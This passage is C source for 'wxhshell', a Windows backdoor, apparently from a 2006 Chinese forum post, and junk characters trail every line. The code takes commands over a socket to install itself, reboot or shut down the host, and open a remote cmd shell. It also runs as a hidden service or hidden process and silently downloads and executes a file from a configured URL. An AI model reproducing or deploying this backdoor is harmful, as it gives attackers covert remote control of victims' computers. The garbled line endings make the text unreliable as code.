  else cph~4wCS[U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [u`6^TycP  
  } 'TL2%T/)t  
  else { k'Gw!p}  
ld.7`)  
    switch(cmd[0]) { {Bh("wg$Lk  
  n#4Gv|{XMD  
  // 帮助 w]nX?S8  
  case '?': { )n( Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); obO}NF*g^  
    break; T?n -x?e  
  } 6g"C#&{@  
  // 安装 VevNG *  
  case 'i': { KVN"XqE4  
    if(Install()) ?DPHo)w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4/'N|c.  
    else iCP~O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pz%~ST  
    break; a[sKE?  
    } h d2'AlB  
  // 卸载 yzR=A%V8A  
  case 'r': { id?"PD"%  
    if(Uninstall()) *)'Vvu<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :HRT 2I  
    else y(5:}x&E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dY!u)M;~~  
    break; 'N\&<dT>  
    } >zs5s  
  // 显示 wxhshell 所在路径 9 |{%i$  
  case 'p': { \K7t'20  
    char svExeFile[MAX_PATH]; l+zb~  
    strcpy(svExeFile,"\n\r"); 71"+<C .  
      strcat(svExeFile,ExeFile); ]a?bzOr,  
        send(wsh,svExeFile,strlen(svExeFile),0); $shp(T,q  
    break; t> xd]ti  
    } (RE2I  
  // 重启 Q9c)k{QZ  
  case 'b': { _Zc4=c,K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O,s.D,S  
    if(Boot(REBOOT)) P|xG\3@Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O)]v;9oER  
    else { Xgat-cy'DA  
    closesocket(wsh); [&#/|zH'j:  
    ExitThread(0); =sgdkAYwP  
    } <41ZZ0<EwY  
    break; QA?oJ_}y  
    } [=uIb._Wv  
  // 关机 eKG2*CV  
  case 'd': { /Vww?9U;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y 9L14  
    if(Boot(SHUTDOWN)) %w ) +V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d ~`V7B2Y  
    else { g`0moXz  
    closesocket(wsh); nlGHT  
    ExitThread(0); ^U@~+dw  
    } iPj~I  
    break; ^YlI>_3s  
    } TQ ]dW  
  // 获取shell Z9K})47T  
  case 's': { 0N;%2=2_E  
    CmdShell(wsh); -SCM:j%h  
    closesocket(wsh); ~F!,PM/  
    ExitThread(0); H:QhrL+7_  
    break; V '.a)6  
  } *if`/N-q(m  
  // 退出 w0lT%CPx  
  case 'x': { fCw*$:O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;11x"S  
    CloseIt(wsh); ru9zTZZD  
    break; vScjq5 "p  
    } .0p^W9  
  // 离开 N|usFqCNk^  
  case 'q': { N ( Oyi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "_1)CDqP  
    closesocket(wsh); vFv3'b$;G  
    WSACleanup(); I&VTW8jB  
    exit(1); )[Z!*am  
    break; li oc`C:  
        } wT,R0~V0  
  } b:W-l?  
  } E4z)Mr#  
6.WceWBR  
  // 提示信息 >''U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <vV_%uo M  
} aYn^)6^  
  } K> g[k_  
}G V X>p  
  return; B1!kn}KlL{  
} x;s0j"`Jb  
0#_'o ,  
// shell模块句柄 i3$$,W!  
int CmdShell(SOCKET sock) fyknP)21I  
{ L gk   
STARTUPINFO si; dT|vYK}\  
ZeroMemory(&si,sizeof(si)); sD;M!K_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a_~=#]a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k[j90C5  
PROCESS_INFORMATION ProcessInfo; U8$4 R,+  
char cmdline[]="cmd"; Mkxi~p%<r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zi@]83SS#  
  return 0; ULJmSe  
} GL$De,V  
X{xBYZv4  
// 自身启动模式 #%0Bx3uM  
int StartFromService(void) W~1~k{A  
{ avQJPB)}Sb  
typedef struct ^x>Qf(b  
{ CusF/>  
  DWORD ExitStatus; :aCrX  
  DWORD PebBaseAddress; hVUh0XeO  
  DWORD AffinityMask; ,f3pqi9|  
  DWORD BasePriority; j$7|XM6  
  ULONG UniqueProcessId; MRNNG6TUs  
  ULONG InheritedFromUniqueProcessId; hj%ye~|~  
}   PROCESS_BASIC_INFORMATION; Q4*?1`IsR  
ElhRF{R  
PROCNTQSIP NtQueryInformationProcess; fxaJZz$o  
Z<[<n0o1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \JEXX4%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m,i,n9C->  
pKiZ)3U  
  HANDLE             hProcess; ^!<dgBNj  
  PROCESS_BASIC_INFORMATION pbi; ~}EMk3  
\wcam`f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {%lXYMyu  
  if(NULL == hInst ) return 0; W]M)Q}:Y  
Mips.Bx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D"(L5jR8m@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g[RI.&?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4fk8*{Y  
y;w x?1)  
  if (!NtQueryInformationProcess) return 0; U4f5xUY0)  
 xw^R@H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zi R5:d3   
  if(!hProcess) return 0; #6Fez`A  
'm1N/)F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,mhQ"\+C  
R'EUV0KX>Y  
  CloseHandle(hProcess); 7w,FX.=;cv  
DI+]D~N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d@`M CchCB  
if(hProcess==NULL) return 0; JWvjWY2+P  
wN1niR'  
HMODULE hMod; |8> 3`w!  
char procName[255]; [[PEa-992  
unsigned long cbNeeded; poGc a1  
IG)s^bP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;c~cet4  
S#)Eom?V  
  CloseHandle(hProcess); /Jf.y*;  
L^2FQti>  
if(strstr(procName,"services")) return 1; // 以服务启动 B~o\+n  
wW>zgTG  
  return 0; // 注册表启动 xh7cVE[UM  
}  ]#7zk9  
}bY; q-  
// 主模块 jK \T|vGJa  
int StartWxhshell(LPSTR lpCmdLine) x~xa6  
{ eP*lI<NQ1  
  SOCKET wsl; { eCC$&"  
BOOL val=TRUE; Y<1QY?1sd  
  int port=0; <N\v)Ug`  
  struct sockaddr_in door; JJ;[,  
zi`b2h  
  if(wscfg.ws_autoins) Install(); rSXh;\MfB4  
'RRmIx2X  
port=atoi(lpCmdLine); -~?J+o+Pr"  
l @^3Exwt  
if(port<=0) port=wscfg.ws_port; 0#w?HCx=  
"Rn 3lj0  
  WSADATA data; |D, +P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @d Jr/6Yx  
a=M\MZK>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;"(foY"L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Wu4Lxv]B4  
  door.sin_family = AF_INET; ?5_7;Ha  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T,| 1g6  
  door.sin_port = htons(port); X[f=h=|  
\j&^aAp r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UnI 48Y  
closesocket(wsl); -S3MH1TZ  
return 1; $O9^SB  
} Fx-8M!  
9U$EJN_G  
  if(listen(wsl,2) == INVALID_SOCKET) { ^G6RjJxqp8  
closesocket(wsl); vAyFmdJ^  
return 1; CPNL 94x  
} 5:'hj$~|\1  
  Wxhshell(wsl); B}PIRk@a1  
  WSACleanup(); 8\{^|y9-  
X]P:CY  
return 0; 0eK*9S]  
W 4F\}A  
} k0T?-iM  
)M)7"PC  
// 以NT服务方式启动 cA%%IL$R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZDbc  
{ rn<PR*  
DWORD   status = 0; #1>X58I^  
  DWORD   specificError = 0xfffffff; @)Ofi j  
jBegh9KHq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fk_o@ G!0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5nsq[Q`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rETRTp0HT  
  serviceStatus.dwWin32ExitCode     = 0; 9K9DF1SOa  
  serviceStatus.dwServiceSpecificExitCode = 0; a'z)  
  serviceStatus.dwCheckPoint       = 0; mdRU^n  
  serviceStatus.dwWaitHint       = 0; jQ:OKh<Y  
)_U<7"~0l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =}.EY iD  
  if (hServiceStatusHandle==0) return; m 9/}~Y#k  
m=YU2!Mb  
status = GetLastError(); K_dOq68_  
  if (status!=NO_ERROR) kT;S4B  
{ -wjN"g<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F&&$Qn_+  
    serviceStatus.dwCheckPoint       = 0; br|;'i%(  
    serviceStatus.dwWaitHint       = 0; dPhQ :sd>  
    serviceStatus.dwWin32ExitCode     = status; ]\!?qsT3}  
    serviceStatus.dwServiceSpecificExitCode = specificError; jYe'V#5S#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U"Zmv  
    return; O} f80K  
  } ^MVkZ{gtre  
eopD5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L'F<ev  
  serviceStatus.dwCheckPoint       = 0; {?yr'*  
  serviceStatus.dwWaitHint       = 0; Hla0 5N' 4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V,$0p1?J  
} ]Ux<aiY]a  
5H ue7'LS  
// 处理NT服务事件,比如:启动、停止 8 XU1 /i7N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1Z9qjV%^  
{ >yULC|'F&~  
switch(fdwControl) 3`k;a1Z#O'  
{ {~F4WjHJp  
case SERVICE_CONTROL_STOP: B[KJR?>  
  serviceStatus.dwWin32ExitCode = 0; aoXb22]{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M%@!cW  
  serviceStatus.dwCheckPoint   = 0; #FNcF>3>  
  serviceStatus.dwWaitHint     = 0; E2m8UBS  
  { h=:Q-?n-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VY3&  
  } JfR %L q~  
  return; m}X`> aD/  
case SERVICE_CONTROL_PAUSE: 1;{Rhu7* k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vvm0t"|\  
  break; |9B.mBoX  
case SERVICE_CONTROL_CONTINUE: m%76i;uP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vMS |$L  
  break; YxP&7oq  
case SERVICE_CONTROL_INTERROGATE: 7(5 4/  
  break; q}]XYys  
}; [Nk3|u`h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Q .>rX,F  
} 5=Di<!a;  
ndkti5L,   
// 标准应用程序主函数 ( vca&wI!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -:na: Vsi  
{ PbmDNKEh{  
S;)w.  
// 获取操作系统版本 ; d J1  
OsIsNt=GetOsVer(); -q*i_r:,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); } q$ WvY/  
=F@W gn,  
  // 从命令行安装 (JM5`XwM  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9o+)?1\  
!7kG!)40  
  // 下载执行文件 (_"*NY0  
if(wscfg.ws_downexe) { T7#W0^tj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 07[_.i.l  
  WinExec(wscfg.ws_filenam,SW_HIDE); o}$ EG  
} VSSu &Q  
Ba!J"b]  
if(!OsIsNt) { *3?'4"B{8  
// 如果时win9x,隐藏进程并且设置为注册表启动 Dp':oJC  
HideProc(); 2n|K5FR()  
StartWxhshell(lpCmdLine); !Ze5)g%H  
} 4 XAQVq5  
else sashzVwJ-=  
  if(StartFromService()) NB8/g0:=n&  
  // 以服务方式启动 (,8$V\  
  StartServiceCtrlDispatcher(DispatchTable); H(Z88.OM  
else MerFZd 1  
  // 普通方式启动 Gy6l<:;  
  StartWxhshell(lpCmdLine); } x2DT8u  
]4pkcV P  
return 0; D`$hPYK|_  
}
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只看该作者 1 发表于: 2006-10-10
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